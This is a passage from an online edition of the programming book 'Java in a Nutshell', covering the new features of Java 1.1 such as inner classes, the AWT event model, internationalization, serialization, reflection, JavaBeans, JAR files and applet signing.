Chapter 5, Inner Classes and Other New Language Features explains in detail how to define and use each of the four new types of classes. As we'll see, inner classes are useful primarily for defining simple "helper" or "adaptor" classes that serve a very specific function at a particular place in a program, and are not intended to be general-purpose "top-level" classes. By using inner classes nested within other classes, you can place the definition of these special-purpose helper classes closer to where they are actually used in your programs. This makes your code clearer, and also prevents you from cluttering up the package namespace with small special purpose classes that are not of interest to programmers using your package. We'll also see that inner classes are particularly useful in conjunction with the new AWT event model in Java 1.1.

One important feature of inner classes is that no changes to the Java Virtual Machine are required to support them. When a Java 1.1 compiler encounters an inner class, it transforms the Java 1.1 source code in a way that converts the nested class to a regular top-level class. Once that transformation has been performed, the code can be compiled just as it would have been in Java 1.0.

Previous | Home | Next
Java 1.1 Package-by-Package | Book Index | The New AWT Event Model
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.3 The New AWT Event Model

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.3 The New AWT Event Model

The Java 1.1 change that will probably affect Java programmers the most is the new event processing model adopted for the AWT windowing and graphical user interface (GUI) toolkit. If you created applets or GUIs with Java 1.0, you know that it was necessary to subclass GUI components in order to handle events. This model worked okay for simple programs, but proved increasingly awkward as programs became more complex. Furthermore, with the development of the JavaBeans API, the AWT package needed an event model that would allow AWT GUI components to serve as beans. For these reasons, Java 1.1 defines a new model for dispatching and handling events.

As explained in Chapter 7, Events, the new event handling model is essentially a "callback" model. When you create a GUI component, you tell it what method or methods it should invoke when a particular event occurs on it (e.g., when the user clicks on a button or selects an item from a list). This model is very easy to use in C and C++ because those languages allow you to manipulate method pointers--to specify a callback, all you need to do is pass a pointer to the appropriate function. In Java, however, methods are not data and cannot be manipulated in this way. Only objects can be passed like this in Java, so to define a Java callback, you must define a class that implements some particular interface. Then, you can pass an instance of that class to a GUI component as a way of specifying the callback. When the desired event occurs, the GUI component invokes the appropriate method of the object you have specified.

As you might imagine, this new event handling model can lead to the creation of many small helper classes. (Sometimes these helper classes are known as "adaptor classes" because they serve as the interface between the body of an application and the GUI for that application. They are the "adaptors" that allow the GUI to be "plugged in" to the application.) This proliferation of small classes could become quite a burden, were it not for the introduction of inner classes, which, as noted above, allows this kind of special-purpose class to be nested and defined exactly where it is needed within your program.

Despite the major AWT event-handling changes, Java 1.1 does retain backwards compatibility with the event-handling model of Java 1.0. It is an all-or-nothing type of backwards compatibility, however--the two models are so different from each other that it is not really possible to mix them within the same application.

Previous | Home | Next
Inner Classes | Book Index | Deprecated Features
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.4 Deprecated Features

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.4 Deprecated Features

Although you can use the old AWT event model in Java 1.1, it has been officially "deprecated," and its use in new software is discouraged. When you compile code that uses the 1.0 event model, you'll be made aware of this by the "deprecation warning" that the javac compiler issues. This warning notifies you that your code relies on methods or classes in the Java API that have been superseded by newer, preferred alternatives. If you compile using the -deprecation flag, javac provides a detailed warning about each use of a deprecated feature. You can simply ignore these warnings, but when time permits, the better approach is to update your code so that it no longer relies on deprecated features of the Java API. While it is not strictly true to say that deprecated features are "unsupported," they will almost certainly receive far less support in practice than the features that replace them.

The reason that the compiler is able to issue deprecation warnings at all is the addition of a new @deprecated tag to the documentation-comment syntax of Java 1.1. As you may be aware, comments that begin with the /** character sequence are treated specially in Java, and are used by the javadoc tool to automatically generate online documentation for packages, classes, methods, and fields. Prior to Java 1.1, the compiler ignored the contents of documentation comments. In Java 1.1, however, it scans these comments for the @deprecated tag. If it is found, the compiler marks the class, interface, constructor, method, or field following the comment as deprecated, and issues a warning when the deprecated feature is used.

The old AWT event-handling model is not the only Java 1.0 feature that has been deprecated in Java 1.1; merely the one you are most likely to encounter first. A number of common AWT component methods have been renamed, to follow a more regular naming scheme that fits the JavaBeans naming conventions. These methods can be invoked by the old name or the new, but if you use the old name, you'll be rewarded with a deprecation warning. Fortunately, in simple cases like this, it is trivial to write a script or program to mechanically convert from the old name to the new. Other areas of the Java API have been deprecated as well. You'll notice that a few of the input and output stream classes in the java.io package have been deprecated and superseded by "Reader" and "Writer" stream classes, for example.

Previous | Home | Next
The New AWT Event Model | Book Index | Other AWT Improvements
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.5 Other AWT Improvements

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.5 Other AWT Improvements

In addition to the major change in the AWT event model, there have been quite a few other improvements to the AWT. These improvements are summarized in the sections below.

Printing

Printing in Java 1.1 is implemented through the new PrintJob class and PrintGraphics interface. The PrintJob class represents a print request. When a PrintJob object is created, the user is prompted with a platform-dependent print dialog, which allows her to specify options such as which printer to use.

The getGraphics() method of a PrintJob object returns a Graphics object that can be used for printing. This object is an instance of a subclass of Graphics that knows how to print in a platform-dependent way. The object also implements the PrintGraphics interface. To print a component, you simply pass this Graphics object to the component's print() method. If the component does not define this method, the default implementation simply invokes the paint() method, which usually does the right thing. When you want to print a component and all of its subcomponents, you can simply pass the Graphics object to the printAll() method of the component.

Printing multiple pages is more complex, of course. The application is responsible for pagination of the output, and in order to draw the output on the page the application may also need to query the PrintJob object to determine the page size (in pixels) and page resolution (in pixels per inch).

For security reasons, applets are not allowed to initiate print jobs; if they were, you could expect to see applets on the Net that automatically printed hardcopy advertisements to your printer! Note, however, that this does not mean that applets cannot print themselves when the browser or applet viewer initiates the print request object and invokes the printAll() method of the applet.

Chapter 8, New AWT Features contains an example that uses the printing capabilities of Java 1.1.

Cut-and-Paste

Data transfer via the cut-and-paste metaphor is supported in Java 1.1 by the classes and interfaces in the java.awt.datatransfer package. One half of this package provides generic data-transfer functionality, and the other half provides the classes and interfaces needed for clipboard-based cut-and-paste. In future versions of the JDK, we can expect to see support for the drag-and-drop data transfer metaphor added to this package.

For the purposes of data transfer, the DataFlavor class represents the notion of a data type or data format. A DataFlavor consists of a human-readable name for the flavor and one of two possible machine-readable format definitions. The first of the machine-readable descriptions is a String that specifies a MIME type for the transferred data. The second is a Class object that represents a Java class. When a DataFlavor is specified with a Class object, it is an instance of this class that is passed when data transfer actually occurs.

Any value that can be transferred through the Java 1.1 data transfer mechanism must be represented by a class that implements the Transferable interface. This interface defines methods to query the data flavors that the class supports, and it defines a method that the data transfer mechanism calls to convert the transferable value into the appropriate form for a given DataFlavor.

While the DataFlavor class and the Transferable interface define the fundamental data transfer mechanism, they, by themselves, are not enough to initiate or perform data transfer. For this purpose, java.awt.datatransfer also defines the Clipboard class and the ClipboardOwner interface. Together, they support a cut-and-paste metaphor for data transfer. Because strings are often transferred between applications, java.awt.datatransfer provides the StringSelection class. This class implements both the Transferable and the ClipboardOwner interfaces and makes it very easy to transfer textual data through cut-and-paste.

Inter-application data transfer is performed through the system clipboard. It is also possible to perform intra-application transfers through a private clipboard that an application creates for itself. Note that untrusted applets are not allowed to access the system clipboard--there could be sensitive information contained on it that untrusted code should not have access to. This means that applets cannot participate in inter-application cut-and-paste. Chapter 8, New AWT Features provides an example that demonstrates intra-application cut-and-paste data transfer.

Popup Menus and Menu Shortcuts

Java 1.1 adds support for popup menus to the AWT. The PopupMenu class is a subclass of Menu; menu items are added to it just as they are added to regular pulldown menus. A popup menu can be attached to an arbitrary AWT component, using the new add() method of the Component class. And, finally, a popup menu can be "popped up" by calling its show() method. (The menu pops itself down automatically.)

An application typically displays a popup menu when the user clicks a certain mouse button over the component that the menu is attached to. However, different platforms traditionally use different mouse buttons to display popup menus. You can use the new isPopupTrigger() method of MouseEvent to determine whether a given mouse click has the appropriate modifiers set to trigger the popup menu for the current platform.

Java 1.1 also adds support for menu shortcut keys. The new MenuShortcut class represents a menu shortcut key. An instance of this class may optionally be specified whenever you create a MenuItem object. Again, different platforms use different modifier keys to invoke menu shortcuts, so when you create a MenuShortcut object, you specify only the key in question (plus, optionally, the Shift key). The system translates this into a platform-dependent shortcut using Ctrl, Alt, or some other modifier key.

The example in Chapter 8, New AWT Features demonstrates both a popup menu and menu shortcuts.

Keyboard Focus Traversal

The ability to operate a GUI without using the mouse is an important feature of any windowing toolkit. The addition of menu shortcuts in Java 1.1 is an important step in this direction. Java 1.1 also adds rudimentary facilities for keyboard focus traversal (i.e., moving keyboard focus among the individual components in a window) using the Tab and Shift-Tab keys.

Under the new focus traversal scheme, components within a container are traversed in the order in which they were added to the container. (Note, however, that it is possible to override this order by specifying an explicit position within the container's component list for a new component as it is added to the container with the add() method.) Beyond adding components to their container in the order desired for traversal, nothing else is required of the programmer in order to make keyboard focus traversal work.

If you are creating a custom component that can accept keyboard focus, you should override the isFocusTraversable() method to return true. The component should call the requestFocus() method it inherits from Component when the user clicks on it or otherwise activates it. Finally, when a component receives focus, (i.e., when its processFocusEvent() method is invoked), it should provide some sort of visual indication, such as a highlighted border, that it has the focus.

Miscellaneous Improvements

The SystemColor class represents a color used by the desktop system. On some platforms, these colors may be dynamically updated while the system is running. The SystemColor class also implements quite a few constants that represent system colors for various GUI components. Thus, if you want your GUIs to match the desktop color scheme, you might create them using colors such as SystemColor.menu (the background color for menus) and SystemColor.menuText (foreground color for menus), for example.

The treatment of fonts has been changed and improved somewhat in Java 1.1. The use of the font names "TimesRoman," "Helvetica," and "Courier" is now discouraged. Instead, you should use "serif," "sansserif," and "monospaced"--these names convey the essential style of the font face, without specifying the exact font to be used. The font names "Dialog" and "DialogInput" are still supported in Java 1.1. An important reason for switching to generic font names is that Java can now display any Unicode character for which there is an appropriate font installed on the host system. The names "serif" and "sansserif" have meaning even when applied to non-Latin character sets, such as Japanese Kanji characters; the names "timesroman" and "helvetica" clearly do not. Another result of this fuller Unicode support is that the use of the "ZapfDingbats" font is also discouraged. Instead, regardless of what font you are using, you can simply encode these graphical symbols using Unicode characters between \u2700 and \u27ff. (See Chapter 11, Internationalization for an example.) This improved support for Unicode makes it much easier to write internationalized programs in Java.

In Java 1.0, mouse cursors could only be specified for a Frame. In Java 1.1, every component can have a its own cursor, represented by the new Cursor object. There are new methods of Component for setting and querying the cursor. This change does not add any new predefined cursor images, nor does it add the ability to create custom cursors; it merely allows you to specify a cursor for any arbitrary component, and to do so in a more logical fashion.

The ScrollPane class is new in Java 1.1. It is a Container that makes it very easy to scroll a large component or GUI within a smaller visible area. Doing this in Java 1.0 required a custom container, and suffered from some serious performance problems. Chapter 8, New AWT Features shows the use of a ScrollPane object.

Another new feature is the ability to create "lightweight components." These are components and containers that do not have a native window of their own. In Java 1.0, custom components and containers had to be subclassed from Canvas or Panel. In Java 1.1, however, you can subclass Component and Container directly. Doing so creates a simpler component or container, without the overhead of a native window. It also allows you to create partially transparent components that appear non-rectangular.

Java 1.1 also includes several miscellaneous changes to clipping and image manipulation:

  • The Graphics class defines a method to set an arbitrary clipping rectangle, even to one that is larger than the current clipping region. There is also a new method to query the current clipping region.

  • Graphics also defines two new drawImage() methods that are more flexible than the existing drawImage() methods. These new methods allow arbitrary image cropping, scaling, and flipping.

  • There are two new classes, ReplicateScaleFilter and AreaAveragingScaleFilter, that can be used to scale an image as it is loaded, and a new convenience method, Image.getScaledInstance(), to obtain a new Image object that contains a scaled version of some other Image.

  • New methods have been added to the MemoryImageSource class that allow images generated from memory to be dynamically and efficiently updated, allowing a kind of image animation.

  • New methods have been added to the PixelGrabber class to make it more efficient and flexible to use.

Previous | Home | Next
Deprecated Features | Book Index | Internationalization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.6 Internationalization

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.6 Internationalization

Internationalization [1] is the process of enabling a program to run internationally. That is, an internationalized program has the flexibility to run correctly in any country. Once a program has been internationalized, enabling it to run in a particular country and/or language is merely a matter of "localizing" it for that country and language, or locale.

[1] This word is sometimes abbreviated I18N, because there are 18 letters between the first I and the last N.

You might think that the main task of localization is the matter of translating a program's user-visible text into a local language. While this is an important task, it is not by any means the only one. Other concerns include displaying dates and times in the customary format for the locale, displaying number and currency values in the customary format for the locale, and sorting strings in the customary order for the locale.

Underlying all these localization issues is the even more fundamental issue of character encodings. Almost every useful program must perform input and output of text, and before we can even think about textual I/O, we must be able to work with the local character encoding standard. This hurdle to internationalization lurks slightly below the surface, and is not very "programmer-visible." Nevertheless, it is one of the most important and difficult issues in internationalization.

As described in Chapter 11, Internationalization, Java 1.1 provides facilities that address all of these internationalization issues. If you write programs that correctly make use of these facilities, the task of localizing your program for a new country really does boil down to the relatively simple matter of hiring a translator to convert your program's messages. With the expansion of the global economy, and particularly of the global Internet, writing internationalized programs is going to become more and more important, and you should begin to take advantage of Java's internationalization capabilities right away.

There are several distinct pieces to the problem of internationalization, and Java's solution to this problem also comes in distinct pieces. The first issue in internationalization is the matter of knowing what locale a program is running in. A locale is typically defined as a political, geographical, or cultural region that has a distinct language or distinct conventions for things such as date and time formats. The notion of a locale is encapsulated in Java 1.1 by the Locale class, which is part of the java.util package. Every Java program has a default locale, which is inherited from the operating system (where it may be set by the user). A program can simply rely on this default, or it can change the default. Additionally, all Java methods that rely on the default locale also have variants that allow you to explicitly specify a locale. Typically, though, using the default locale is exactly what you want to do.

Once a program knows what locale it is running in, the most fundamental internationalization issue, as noted above, is the ability to read and write localized text. Since Java uses the Unicode encoding for its characters and strings, any character of any commonly-used modern written language is representable in a Java program, which puts Java at a huge advantage over older languages such as C and C++. Thus, working with localized text is merely a matter of converting from the local character encoding to Unicode when reading text, such as a file or input from the user, and converting from Unicode to the local encoding when writing text. Java's solution to this problem is in the java.io package, in the form of a new suite of character-based input and output streams (known as "readers" and "writers") that complement the existing byte-based input and output streams.

The FileReader class, for example, is a character-based input stream used to read characters (which are not the same as bytes in all languages) from a file. The FileReader class assumes that the specified file is encoded using the default character encoding for the default locale, so it converts characters from the local encoding to Unicode characters as it reads them. In most cases, this assumption is a good one, so all you need to do to internationalize the character set handling of your program is to switch from a FileInputStream to a FileReader object, and make similar switches for text output as well. On the other hand, if you need to read a file that is encoded using some character set other than the default character set of the default locale, you can use a FileInputStream to read the bytes of the file, and then use an InputStreamReader to convert the stream of bytes to a stream of characters. When you create an InputStreamReader, you specify the name of the encoding in use, and it performs the appropriate conversion automatically.

As you can see, internationalizing the character set of your programs is a simple matter of switching from byte I/O streams to character I/O streams. Internationalizing other aspects of your program requires a little more effort. The classes in the java.text package are designed to allow you to internationalize your handling of numbers, dates, times, string comparisons, and so on. NumberFormat is used to convert numbers, monetary amounts, and percentages to an appropriate textual format for a locale. Similarly, the DateFormat class, along with the Calendar and TimeZone classes from the java.util package, are used to display dates and times in a locale-specific way. The Collator class is used to compare strings according to the alphabetization rules of a given locale, and the BreakIterator class is used to locate word, line, and sentence boundaries.

The final major problem of internationalization is making your program flexible enough to display messages (or any type of user-visible text, such as the labels on GUI buttons) to the user in an appropriate language for the current locale. Typically, this means that the program cannot use hard-coded messages and must instead read in a set of messages at run-time, based on the locale setting. Java provides an easy way to do this. You define your messages as key/value pairs in a ResourceBundle subclass. Then, you create a subclass of ResourceBundle for each language or locale your application supports, naming each class following a convention that includes the locale name. At run-time, you can use the ResourceBundle.getBundle() method to load the appropriate ResourceBundle class for the current locale. The ResourceBundle contains the messages your application uses, each associated with a key, that serves as the message name. Using this technique, your application can look up a locale-dependent message translation based on a locale-independent message name. Note that this technique is useful for things other than textual messages. It can be used to internationalize icons, or any other locale-dependent object used by your application.

There is one final twist to this problem of internationalizing messages. Often, we want to output messages such as, "Error at line 5 of file hello.java.", where parts of the message are static, and parts are dynamically generated at run-time (such as the line number and filename above). This is further complicated by the fact that when we translate such messages the values we substitute in at run-time may appear in a different order. For example, in some different English speaking locale, we might want to display the line above as: "hello.java: error at line 5". The MessageFormat class of the java.text package allows you to substitute dynamic values into static messages in a very flexible way and helps tremendously with this situation, particularly when used in conjunction with resource bundles.

Previous | Home | Next
Other AWT Improvements | Book Index | Object Serialization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.7 Object Serialization

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.7 Object Serialization

Object serialization is one of the major new features of Java 1.1. It refers to the ability to write the complete state of an object (including any objects it refers to) to an output stream, and then recreate that object at some later time by reading its serialized state from an input stream. You can serialize an object simply by passing it to the writeObject() method of an ObjectOutputStream. Similarly, you can create an object from a serialized object stream by calling the readObject() method of an ObjectInputStream. Both of these new object stream types are part of the java.io package.

Typically, object serialization is as simple as calling writeObject() and readObject(). There are a few additional twists, however, that are worth mentioning here. First, only objects that subclass the Serializable (or Externalizable) interface can be serialized. The Serializable interface does not define any methods, but merely acts as a marker that indicates whether serialization is allowed on a given object. Second, fields of a class declared transient are not serialized as part of an object's state. The transient modifier was legal in Java 1.0, but had no defined behavior. Third, some objects may need to implement custom serialization or de-serialization behavior. They can do this by implementing special readObject() and writeObject() methods. Chapter 9, Object Serialization describes all of these aspects of object serialization in more detail.

Despite the fact that only a few classes and interfaces are part of the Object Serialization API, serialization is a very important technology and is used in several places in Java 1.1. It is used as the basis for transferring objects via cut-and-paste. It is used to transfer objects between a client and a server for remote method invocation. It is used by the JavaBeans API--beans are often provided as pre-initialized, serialized objects, rather than merely as class files. Java 1.1 also adds the capability for applets to be loaded into an applet viewer or browser as serialized objects. One common use we are likely to see for object serialization is as a way to save user preferences and other application states--a serialized object is an instant file format that works for any application. Another use that should be popular with GUI builder tools is saving the complete Component hierarchy of an application's GUI as a serialized object, and then later loading in that object in order to automatically recreate the GUI.

Previous | Home | Next
Internationalization | Book Index | Reflection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.8 Reflection

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.8 Reflection

Reflection in Java 1.1 refers to the ability of Java classes to reflect upon themselves, or to "look inside themselves." The java.lang.Class class has been greatly enhanced in Java 1.1. It now includes methods that return the fields, methods, and constructors defined by a class. These items are returned as objects of type Field, Method, and Constructor, respectively. These new classes are part of the new java.lang.reflect package, and they each provide methods to obtain complete information about the field, method, or constructor they represent. For example, the Method object has methods to query the name, the parameter types, and the return type of the method it represents. Chapter 12, Reflection provides some examples of using the Reflection API.

Besides allowing a program to inspect the members of a class, the java.lang.reflect package also allows a program to manipulate these fields and methods. The Field class defines methods that get and set the value of the represented field for any given object of the appropriate type. Similarly, the Method object defines an invoke() method that allows the represented method to be invoked, and the Constructor class defines a newInstance() method that creates a new object and invokes the represented constructor on it. java.lang.reflect also defines an Array class. It does not represent a specific array, but defines static methods that read and write array elements and dynamically create new arrays.

With the addition of reflection, the Class class has been expanded to represent not just Java classes, but any Java type, including primitive types and array types. There is a special Class object that represents each of the eight Java primitive types, and another special Class object that represents the void type. These special Class objects are available as constants in the wrapper objects for the primitive types. Integer.TYPE is a Class object that represents the int type, for example, and Void.TYPE is a Class object that represents the void type.

Finally, new Java language syntax makes it easier to obtain a Class object that represents a Java class. If you follow the name of a class, interface, or other type with .class, Java evaluates that expression and returns the corresponding Class object. So, for example, the following two expressions are equivalent:

String.class
Class.forName("java.lang.String")

Note that this syntax also works with primitive type names: you can write short.class, for example, which returns the same value as Short.TYPE.

Previous | Home | Next
Object Serialization | Book Index | Java Beans
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.9 Java Beans

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.9 Java Beans

JavaBeans is a "software component model" for Java that has generated quite a lot of interest from many quarters. The JavaBeans API specification defines "beans" as follows: "A Java Bean is a reusable software component that can be manipulated visually in a builder tool." The java.beans package defines classes and interfaces designed to work with beans at three distinct levels, described below.

Much of the JavaBeans API is intended for use only by those few people who are writing interface builder tools that manipulate beans. The main thing that a builder tool needs to be able to do with beans is "introspect" on them--i.e., to determine what properties are exposed by a bean, what methods it exports, and what events it can generate. This is information that a builder tool must be able to display to the programmer who is using the tool. The JavaBeans API defines a set of naming conventions for the methods that a bean defines. If a bean follows these conventions, a builder tool can use the new Reflection API to determine what properties, methods, and events the bean supports. The Introspector class uses reflection to obtain information about a bean and presents it to the builder tool in the form of a BeanInfo object, which itself contains various FeatureDescriptor objects describing the properties, methods, and events of the bean.

At the second level, the JavaBeans API contains classes and interfaces intended for use by programmers who are creating beans for others to use. Chapter 10, Java Beans describes how to use the classes in java.beans in this manner. One of the surprising features of the JavaBeans API is that there is no Bean class that all beans must extend. A bean can be of any class; however, as we've seen, beans should follow certain naming conventions. The java.beans classes that a bean creator uses are generally auxiliary classes, used not by the bean, but by the builder tool that manipulates the bean. These auxiliary classes are shipped with a bean, and provide additional information or methods that a builder tool may use with the bean. These classes are not included in finished software built with the bean.

For example, one of the auxiliary classes a bean may define is a custom BeanInfo class to provide information to the builder tool that is not available through the Reflection API. This information might include a human-readable description of the bean's properties, methods, and events, for example. Or, if a bean does not follow the standard naming conventions, this custom BeanInfo class must also provide more basic information about the bean's properties, methods, and events.

Besides a BeanInfo class, complex beans may also provide a Customizer class and one or more PropertyEditor classes. A Customizer class is a kind of configuration tool or "wizard" for a bean. It is instantiated by the builder tool in order to guide the user through bean customization. A PropertyEditor class is used to allow the user to edit the value of bean properties of a particular class. Builder tools have built-in property editors for common types such as strings, colors, and fonts, but a bean that has properties of some unusual or custom type may want to provide a PropertyEditor subclass to allow the user to easily specify values for those properties.

The third level at which the JavaBeans API can be used is by programmers who are assembling an application using beans. Some programmers may do this through a builder tool, while others may do it "by hand", the old-fashioned way. Programmers using beans do not typically have to use the java.beans package. At this level, it is more a matter of reading the documentation for the particular beans being used and following those instructions. Nevertheless, a programmer using beans does need to be familiar with the event model used by beans, which is the same as the Java 1.1 event model for AWT. Also, programmers using beans "by hand" should be familiar with the naming conventions for bean properties, methods, and events, in order to more easily understand how a given bean can be used. In Java 1.1, all AWT components are beans and follow these naming conventions.

Previous | Home | Next
Reflection | Book Index | Enterprise APIs: JDBC, RMI, and Security
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.10 Enterprise APIs: JDBC, RMI, and Security

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.10 Enterprise APIs: JDBC, RMI, and Security

Java 1.1 provides a number of important new features that are loosely grouped under the name "Enterprise APIs." These include JDBC (Java DataBase Connectivity), RMI (Remote Method Invocation), and Java Security. With release 1.1, Java has grown too big for all of it to be documented, even in quick-reference format, in a single volume. Therefore, the JDBC, RMI, and Security packages will be documented, along with other, forthcoming Enterprise APIs, in a separate volume, Java Enterprise in a Nutshell. Note, however, that while this volume does not cover the Java Security API, it does cover applet security, signed applets, and the javakey program that is used to create digital signatures, generate key pairs, and manage a database of entities and their keys.

Previous | Home | Next
Java Beans | Book Index | Applet Changes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.11 Applet Changes

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.11 Applet Changes

There are several new features in Java 1.1 that affect applets. The first is the introduction of JAR files. "JAR" stands for Java ARchive, and a JAR file is just that: an archive of files used by a Java applet. An applet often requires multiple class files, as well as images, sounds, and other resources, to be loaded over the network. Prior to Java 1.1, each of these files was loaded through a separate HTTP request, which is fairly inefficient. With Java 1.1, all (or many) of the files an applet needs can be combined into a single JAR file, which an applet viewer or Web browser can download with a single HTTP request. Chapter 6, Applets, demonstrates the use of JAR files.

JAR files are stored in the ZIP file format. A JAR archive can be created with the jar tool shipped with the JDK. Once you have created a JAR file, you refer to it in a <APPLET> tag with the ARCHIVE attribute. This ARCHIVE attribute may actually be set to a comma-separated list of archive files to be downloaded. Note that specifying an ARCHIVE attribute simply tells the applet viewer or browser the name of a JAR file or files to load; it does not tell the browser the name of the applet that is to be run. Thus, you still must specify the CODE attribute (or the new OBJECT attribute, as we'll see below). For example, you might use an <APPLET> tag like the following to tell the browser to download the animation.jar file and start the applet contained in the file Animator.class:

<APPLET CODE="Animator.class" ARCHIVE="animation.jar" WIDTH=500 HEIGHT=200>
</APPLET>

There is another advantage to the use of JAR files. Every JAR file contains a "manifest" file, which you either specify explicitly when you create the archive, or which is created for you by the jar tool. The manifest is stored in a file named META-INF/MANIFEST.MF and contains meta-information about the files in the archive. By default, the jar tool creates a manifest file that contains MD5 and SHA message digests for each file in the archive. This information can be used by the applet viewer or Web browser to verify that the files in the archive have not been corrupted since the JAR file was created.

The main reason to include message digests in the manifest file, however, is so that a JAR file can have digital signatures added to it. An archive can be signed with the javakey tool. What a digital signature allows you to do is verify that the files in a JAR file have not been modified since the digital signature was added to the archive. If you trust the person or entity who signed the file, then you ought to trust the applet contained in the JAR file. (The javakey tool allows you to specify whether or not you trust any given entity.) Chapter 6, Applets also describes how you might use digital signatures and javakey.

In JDK 1.1, the appletviewer tool understands digitally signed JAR files. When it loads an applet that has been signed by a trusted entity, it runs that applet without subjecting it to the usual security restrictions--the applet can read and write files, and do anything that a standalone Java application can do. Common Web browsers are likely to follow suit and give special privileges to trusted applets. One refinement we may see in the future is the ability to specify varying levels of trust, and to assign different sets of privileges to applets at those varying trust levels.

Besides the introduction of JAR files and trusted applets, Java 1.1 also supports "serialized applets." In an <APPLET> tag, you can specify the OBJECT attribute instead of the CODE attribute. If you do this, the value of the OBJECT attribute should be the name of a file that contains a serialized representation of the applet to be run. Graphical application-builder tools may prefer to output applets as pre-initialized object trees, rather than generating custom Java code to perform the initializations. See Chapter 9, Object Serialization for more information on serialized applets.

Previous | Home | Next
Enterprise APIs: JDBC, RMI, and Security | Book Index | New JDK Utilities
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.12 New JDK Utilities

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.12 New JDK Utilities

JDK 1.1 includes a number of new tools. In the discussion of applets above, we've already seen jar for creating JAR archives and javakey for adding digital signatures to JAR archives. In fact, javakey can do much more than that--it is a very flexible tool for managing a database of entities, generating keys and certificates, and generating digital signatures.

serialver is a new tool used in conjunction with object serialization. When an object is deserialized, it is important to verify that the version of the class file for that object matches the version that was used to serialize it. This is done by computing a unique identifier for the class and encoding it in a private variable of the class. When an incompatible change is made to the class, a new unique identifier is computed, and the new value is stored in the private variable. It is the serialver tool that is used to compute this unique identifier.

native2ascii is a tool for programmers who program in a locale that uses a non-ASCII file encoding. The javac compiler can only compile files encoded in ASCII, with all Unicode characters converted to the \u xxxx format. What native2ascii does is to convert its input file to Unicode, and then output that Unicode version as an ASCII file that uses the \u escape for all non-ASCII Unicode characters. After you process a locally-encoded file with native2ascii, javac can compile it.

In addition to the tools described here, JDK 1.1 also includes two new programs, rmic and rmiregistry, that are used in conjunction with Remote Method Invocation. They will be documented in Java Enterprise in a Nutshell.

Previous | Home | Next
Applet Changes | Book Index | Inner Classes and Other New Language Features
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] What's New in Java 1.1

Java in a Nutshell

Previous Chapter 4 Next

4. What's New in Java 1.1

Contents:

Select a new section and then

Java 1.1 is a huge new release. The number of packages in the API has increased from 8 in Java 1.0 to 23 in Java 1.1, and the number of classes has more than doubled from 211 to 503. On top of these changes to the core Java class libraries, there have been some important changes to the language itself. Also, the JDK--the Java Development Kit from Sun--includes a number of new tools in version 1.1.

The new features of Java 1.1 include:

Inner classes

Changes to the Java language itself to allow classes to be nested within each other, and within blocks of code.

Java Beans

A framework for defining reusable modular software components.

Internationalization

A variety of new features that make it possible to write programs that run around the globe.

New event model

A new model for handling events in graphical user interfaces that should make it easier to create those interfaces.

Other new AWT features

The Java 1.1 AWT includes support for printing, cut-and-paste, popup menus, menu shortcuts, and focus traversal. It has improved support for colors, fonts, cursors, scrolling, image manipulation, and clipping.

Applets

JAR files allow all of an applet's files to be grouped into a single archive. Digital signatures allow trusted applets to run with fewer security restrictions. The HTML <APPLET> tag has new features.

Object serialization

Objects can now be easily "serialized" and sent over the network or written to disk for persistent storage.

Reflection

Java programs can now "reflect" upon themselves or upon an arbitrary class to determine the methods and fields defined by the class, the arguments passed to a method, and so on. The Reflection API also allows the invocation of methods specified by name.

Security

Java 1.1 includes a new package that supports digital signatures, message digests, key management, and access control lists.

Java Database Connectivity (JDBC)

A new package that allows Java programs to send SQL queries to database servers. It includes a "bridge" that allows it to inter-operate with existing ODBC database servers.

Remote Method Invocation (RMI)

An interface that supports distributed Java applications in which a program running on one computer can invoke methods of Java objects that exist on a different computer.

These and other new features are summarized in the sections below. Many of them are also described in more detail elsewhere in this book.

4.1 Java 1.1 Package-by-Package

The packages and classes of the Java class library are interlinked and interdependent. Many of the major new features of Java 1.1 rely on classes from multiple packages in the Java API. Before we examine those new features in detail, therefore, we need to understand the big picture of Java 1.1. The paragraphs below discuss each of the 23 packages that constitute the core API for Java 1.1; they introduce the new packages and explain the changes to existing packages.

java.applet

Despite the introduction of JAR files, digitally signed applets, and new attributes of the <APPLET> tag, the java.applet package has not changed in any significant way.

java.awt

The java.awt package contains new classes and interfaces to support printing, popup menus, and menu shortcuts, and to improve support for layout management, cursors, scrolling, colors, and clipping. Several classes provide support for the new AWT event model, but most event support is contained in one of several new sub-packages of java.awt.

java.awt.datatransfer

The classes and interfaces in this package define a generic framework for inter-application (and intra-application) data transfer. This package also includes classes to support a clipboard-based cut-and-paste data transfer model. In the future, this package may be extended to include support for data transfer through a drag-and-drop metaphor. One of the two underlying data transfer mechanisms supported by this package relies on the Object Serialization API of the java.io package.

java.awt.event

This package defines the classes and interfaces of the new AWT event handling model. The classes and interfaces of this package fall into three categories:

  • Event classes--the classes that actually represent events.

  • Event "listeners"--interfaces that define methods that must be implemented by objects interested in being notified when an event of a particular type occurs.

